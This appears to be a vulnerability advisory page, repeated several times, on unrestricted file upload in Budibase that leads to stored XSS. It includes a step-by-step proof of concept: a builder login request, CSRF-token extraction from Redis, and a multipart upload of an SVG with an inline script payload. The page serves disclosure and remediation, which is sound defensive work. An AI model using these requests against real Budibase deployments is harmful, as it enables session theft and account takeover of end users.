### Summary The file upload endpoint `POST /api/attachments/process` does not enforce active-content restrictions for authenticated users. The checks for dangerous file extensions (`html`, `svg`, `js`, `php`, etc.) are conditionally wrapped inside `if (isPublicUser)` or `if (isPublicUser || !env.SELF_HOSTED)`, meaning any authenticated builder can upload executable web content — SVG files with inline `<script>` tags, HTML pages with JavaScript, `.js` modules — which are then stored in the object store (MinIO/S3) with their correct MIME types (`image/svg+xml`, `text/html`, `application/javascript`). When the resulting signed URL is opened by any app user, the browser executes the payload. Impact is **persistent stored XSS** over all application end users. ### Details The vulnerability exists in a single handler function uploadFile shared by two routes, located in packages/server/src/api/controllers/static/index.ts (lines 93–179). Route definitions (packages/server/src/api/routes/static.ts): POST /api/attachments/process → authorized(BUILDER) POST /api/attachments/:tableId/upload → authorized(PermissionType.TABLE, PermissionLevel.WRITE) Both routes invoke the same uploadFile function. The second endpoint is accessible to any authenticated app user (BASIC or POWER role) who has been granted WRITE on any table — not just builders. ### PoC ### Prerequisites - Budibase self-hosted Docker deployment, any version ≤ 3.30.6 - An account with Builder role (does **not** require admin) - Target app published and accessible to end users ### Step 1 — Authenticate as builder ```http POST /api/global/auth/default/login HTTP/1.1 Host: target:10000 Content-Type: application/json {"username":"[email protected]","password":"BuilderPass1!"} ``` ``` HTTP/1.1 200 OK Set-Cookie: budibase:auth=<jwt>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT Set-Cookie: budibase:auth.sig=<sig>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT {"message":"Login successful"} ``` The CSRF token is bound to the session. Browsers send it automatically via the Budibase frontend JS. For scripted requests, decode the JWT payload (base64url second segment) to extract `sessionId`, then read the Redis key `session-<userId>/<sessionId>` → `csrfToken`. ### Step 2 — Upload SVG with XSS payload ```http POST /api/attachments/process HTTP/1.1 Host: target:10000 Cookie: budibase:auth=<jwt>; budibase:auth.sig=<sig> x-budibase-app-id: <dev_app_id> x-csrf-token: <csrf_token> Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX Content-Length: 391 ------WebKitFormBoundaryXXXXXXXXXXXXXXXX Content-Disposition: form-data; name="file"; filename="xss.svg" Content-Type: image/svg+xml <svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg> ------WebKitFormBoundaryXXXXXXXXXXXXXXXX-- ``` ```json HTTP/1.1 200 OK [{"size":207,"name":"xss.svg","url":"http://target:10000/files/signed/.../<uuid>.svg?X-Amz-...","extension":"svg","key":"workspace_id/attachments/<uuid>.svg"}] ``` ### Impact * App end users - Stored XSS on any screen containing the attachment URL. Session cookie theft → full account takeover. | * Builder accounts - If malicious URL is shared within the workspace (table attachment, embedded image), XSS fires in builder's session → workspace takeover. <img width="3087" height="1489" alt="image" src="https://github.com/user-attachments/assets/b0ee0263-85de-430e-9575-88ec91eae565" /> <img width="2100" height="1016" alt="image" src="https://github.com/user-attachments/assets/5133bb1e-f637-479e-952f-14b3265129b4" /> -------- Discovered By: Abdulrahman Albatel Abdullah Alrasheed
### Summary The file upload endpoint `POST /api/attachments/process` does not enforce active-content restrictions for authenticated users. The checks for dangerous file extensions (`html`, `svg`, `js`, `php`, etc.) are conditionally wrapped inside `if (isPublicUser)` or `if (isPublicUser || !env.SELF_HOSTED)`, meaning any authenticated builder can upload executable web content — SVG files with inline `<script>` tags, HTML pages with JavaScript, `.js` modules — which are then stored in the object store (MinIO/S3) with their correct MIME types (`image/svg+xml`, `text/html`, `application/javascript`). When the resulting signed URL is opened by any app user, the browser executes the payload. Impact is **persistent stored XSS** over all application end users. ### Details The vulnerability exists in a single handler function uploadFile shared by two routes, located in packages/server/src/api/controllers/static/index.ts (lines 93–179). Route definitions (packages/server/src/api/routes/static.ts): POST /api/attachments/process → authorized(BUILDER) POST /api/attachments/:tableId/upload → authorized(PermissionType.TABLE, PermissionLevel.WRITE) Both routes invoke the same uploadFile function. The second endpoint is accessible to any authenticated app user (BASIC or POWER role) who has been granted WRITE on any table — not just builders. ### PoC ### Prerequisites - Budibase self-hosted Docker deployment, any version ≤ 3.30.6 - An account with Builder role (does **not** require admin) - Target app published and accessible to end users ### Step 1 — Authenticate as builder ```http POST /api/global/auth/default/login HTTP/1.1 Host: target:10000 Content-Type: application/json {"username":"[email protected]","password":"BuilderPass1!"} ``` ``` HTTP/1.1 200 OK Set-Cookie: budibase:auth=<jwt>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT Set-Cookie: budibase:auth.sig=<sig>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT {"message":"Login successful"} ``` The CSRF token is bound to the session. Browsers send it automatically via the Budibase frontend JS. For scripted requests, decode the JWT payload (base64url second segment) to extract `sessionId`, then read the Redis key `session-<userId>/<sessionId>` → `csrfToken`. ### Step 2 — Upload SVG with XSS payload ```http POST /api/attachments/process HTTP/1.1 Host: target:10000 Cookie: budibase:auth=<jwt>; budibase:auth.sig=<sig> x-budibase-app-id: <dev_app_id> x-csrf-token: <csrf_token> Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX Content-Length: 391 ------WebKitFormBoundaryXXXXXXXXXXXXXXXX Content-Disposition: form-data; name="file"; filename="xss.svg" Content-Type: image/svg+xml <svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg> ------WebKitFormBoundaryXXXXXXXXXXXXXXXX-- ``` ```json HTTP/1.1 200 OK [{"size":207,"name":"xss.svg","url":"http://target:10000/files/signed/.../<uuid>.svg?X-Amz-...","extension":"svg","key":"workspace_id/attachments/<uuid>.svg"}] ``` ### Impact * App end users - Stored XSS on any screen containing the attachment URL. Session cookie theft → full account takeover. | * Builder accounts - If malicious URL is shared within the workspace (table attachment, embedded image), XSS fires in builder's session → workspace takeover. <img width="3087" height="1489" alt="image" src="https://github.com/user-attachments/assets/b0ee0263-85de-430e-9575-88ec91eae565" /> <img width="2100" height="1016" alt="image" src="https://github.com/user-attachments/assets/5133bb1e-f637-479e-952f-14b3265129b4" /> -------- Discovered By: Abdulrahman Albatel Abdullah Alrasheed
Update budibase to 3.38.2 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanBudibase: Unrestricted Upload of File with Dangerous Type affects budibase (npm). Severity is high. ### Summary The file upload endpoint `POST /api/attachments/process` does not enforce active-content restrictions for authenticated users. The checks for dangerous file extensions (`html`, `svg`, `js`, `php`, etc.) are conditionally wrapped inside `if (isPublicUser)` or `if (isPublicUser || !env.SELF_HOSTED)`, meaning any authenticated builder can upload executable web content — SVG files with inline `<script>` tags, HTML pages with JavaScript, `.js` modules — which are then stored in the object store (MinIO/S3) with their correct MIME types (`image/svg+xml`, `text/html`, `application/javascript`). When the resulting signed URL is opened by any app user, the browser executes the payload. Impact is **persistent stored XSS** over all application end users. ### Details The vulnerability exists in a single handler function uploadFile shared by two routes, located in packages/server/src/api/controllers/static/index.ts (lines 93–179). Route definitions (packages/server/src/api/routes/static.ts): POST /api/attachments/process → authorized(BUILDER) POST /api/attachments/:tableId/upload → authorized(PermissionType.TABLE, PermissionLevel.WRITE) Both routes invoke the same uploadFile function. The second endpoint is accessible to any authenticated app user (BASIC or POWER role) who has been granted WRITE on any table — not just builders. ### PoC ### Prerequisites - Budibase self-hosted Docker deployment, any version ≤ 3.30.6 - An account with Builder role (does **not** require admin) - Target app published and accessible to end users ### Step 1 — Authenticate as builder ```http POST /api/global/auth/default/login HTTP/1.1 Host: target:10000 Content-Type: application/json {"username":"[email protected]","password":"BuilderPass1!"} ``` ``` HTTP/1.1 200 OK Set-Cookie: budibase:auth=<jwt>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT Set-Cookie: budibase:auth.sig=<sig>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT {"message":"Login successful"} ``` The CSRF token is bound to the session. Browsers send it automatically via the Budibase frontend JS. For scripted requests, decode the JWT payload (base64url second segment) to extract `sessionId`, then read the Redis key `session-<userId>/<sessionId>` → `csrfToken`. ### Step 2 — Upload SVG with XSS payload ```http POST /api/attachments/process HTTP/1.1 Host: target:10000 Cookie: budibase:auth=<jwt>; budibase:auth.sig=<sig> x-budibase-app-id: <dev_app_id> x-csrf-token: <csrf_token> Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX Content-Length: 391 ------WebKitFormBoundaryXXXXXXXXXXXXXXXX Content-Disposition: form-data; name="file"; filename="xss.svg" Content-Type: image/svg+xml <svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg> ------WebKitFormBoundaryXXXXXXXXXXXXXXXX-- ``` ```json HTTP/1.1 200 OK [{"size":207,"name":"xss.svg","url":"http://target:10000/files/signed/.../<uuid>.svg?X-Amz-...","extension":"svg","key":"workspace_id/attachments/<uuid>.svg"}] ``` ### Impact * App end users - Stored XSS on any screen containing the attachment URL. Session cookie theft → full account takeover. | * Builder accounts - If malicious URL is shared within the workspace (table attachment, embedded image), XSS fires in builder's session → workspace takeover. <img width="3087" height="1489" alt="image" src="https://github.com/user-attachments/assets/b0ee0263-85de-430e-9575-88ec91eae565" /> <img width="2100" height="1016" alt="image" src="https://github.com/user-attachments/assets/5133bb1e-f637-479e-952f-14b3265129b4" /> -------- Discovered By: Abdulrahman Albatel Abdullah Alrasheed
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| budibasenpm | <3.38.2 | 3.38.2 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate budibase to 3.38.2 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanBudibase: Unrestricted Upload of File with Dangerous Type affects budibase (npm). Severity is high. ### Summary The file upload endpoint `POST /api/attachments/process` does not enforce active-content restrictions for authenticated users. The checks for dangerous file extensions (`html`, `svg`, `js`, `php`, etc.) are conditionally wrapped inside `if (isPublicUser)` or `if (isPublicUser || !env.SELF_HOSTED)`, meaning any authenticated builder can upload executable web content — SVG files with inline `<script>` tags, HTML pages with JavaScript, `.js` modules — which are then stored in the object store (MinIO/S3) with their correct MIME types (`image/svg+xml`, `text/html`, `application/javascript`). When the resulting signed URL is opened by any app user, the browser executes the payload. Impact is **persistent stored XSS** over all application end users. ### Details The vulnerability exists in a single handler function uploadFile shared by two routes, located in packages/server/src/api/controllers/static/index.ts (lines 93–179). Route definitions (packages/server/src/api/routes/static.ts): POST /api/attachments/process → authorized(BUILDER) POST /api/attachments/:tableId/upload → authorized(PermissionType.TABLE, PermissionLevel.WRITE) Both routes invoke the same uploadFile function. The second endpoint is accessible to any authenticated app user (BASIC or POWER role) who has been granted WRITE on any table — not just builders. ### PoC ### Prerequisites - Budibase self-hosted Docker deployment, any version ≤ 3.30.6 - An account with Builder role (does **not** require admin) - Target app published and accessible to end users ### Step 1 — Authenticate as builder ```http POST /api/global/auth/default/login HTTP/1.1 Host: target:10000 Content-Type: application/json {"username":"[email protected]","password":"BuilderPass1!"} ``` ``` HTTP/1.1 200 OK Set-Cookie: budibase:auth=<jwt>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT Set-Cookie: budibase:auth.sig=<sig>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT {"message":"Login successful"} ``` The CSRF token is bound to the session. Browsers send it automatically via the Budibase frontend JS. For scripted requests, decode the JWT payload (base64url second segment) to extract `sessionId`, then read the Redis key `session-<userId>/<sessionId>` → `csrfToken`. ### Step 2 — Upload SVG with XSS payload ```http POST /api/attachments/process HTTP/1.1 Host: target:10000 Cookie: budibase:auth=<jwt>; budibase:auth.sig=<sig> x-budibase-app-id: <dev_app_id> x-csrf-token: <csrf_token> Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX Content-Length: 391 ------WebKitFormBoundaryXXXXXXXXXXXXXXXX Content-Disposition: form-data; name="file"; filename="xss.svg" Content-Type: image/svg+xml <svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg> ------WebKitFormBoundaryXXXXXXXXXXXXXXXX-- ``` ```json HTTP/1.1 200 OK [{"size":207,"name":"xss.svg","url":"http://target:10000/files/signed/.../<uuid>.svg?X-Amz-...","extension":"svg","key":"workspace_id/attachments/<uuid>.svg"}] ``` ### Impact * App end users - Stored XSS on any screen containing the attachment URL. Session cookie theft → full account takeover. | * Builder accounts - If malicious URL is shared within the workspace (table attachment, embedded image), XSS fires in builder's session → workspace takeover. <img width="3087" height="1489" alt="image" src="https://github.com/user-attachments/assets/b0ee0263-85de-430e-9575-88ec91eae565" /> <img width="2100" height="1016" alt="image" src="https://github.com/user-attachments/assets/5133bb1e-f637-479e-952f-14b3265129b4" /> -------- Discovered By: Abdulrahman Albatel Abdullah Alrasheed
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| budibasenpm | <3.38.2 | 3.38.2 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard